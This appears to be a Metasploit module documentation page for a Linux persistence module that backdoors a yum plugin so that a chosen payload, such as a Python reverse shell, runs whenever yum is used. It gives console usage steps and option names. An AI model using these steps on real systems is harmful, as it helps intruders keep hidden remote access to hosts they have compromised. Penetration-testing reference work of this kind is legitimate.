Source code: modules/exploits/linux/local/yum_package_manager_persistence.rb
Disclosure date: 2003-12-17
Last modification time: 2020-01-14 20:47:27 +0000
Supported architecture(s): cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/yum_package_manager_persistence
msf exploit(yum_package_manager_persistence) > show targets
    ... a list of targets ...
msf exploit(yum_package_manager_persistence) > set TARGET target-id
msf exploit(yum_package_manager_persistence) > show options
    ... show and set options ...
msf exploit(yum_package_manager_persistence) > set SESSION session-id
msf exploit(yum_package_manager_persistence) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.

Verification Steps


  1. Exploit a box that uses Yum
  2. use linux/local/yum_package_manager_persistence
  3. set SESSION <id>
  4. set PAYLOAD cmd/unix/reverse_python configure the payload as needed
  5. exploit

When the system runs yum update the payload will launch. You must set handler accordingly.

Options


BACKDOOR_NAME Name of backdoor executable

PLUGIN Name of the yum plugin to target

WritableDir Writable directory for backdoor default is (/usr/local/bin/)

PluginPath Plugin path to use default is (/usr/lib/yum-plugins/)
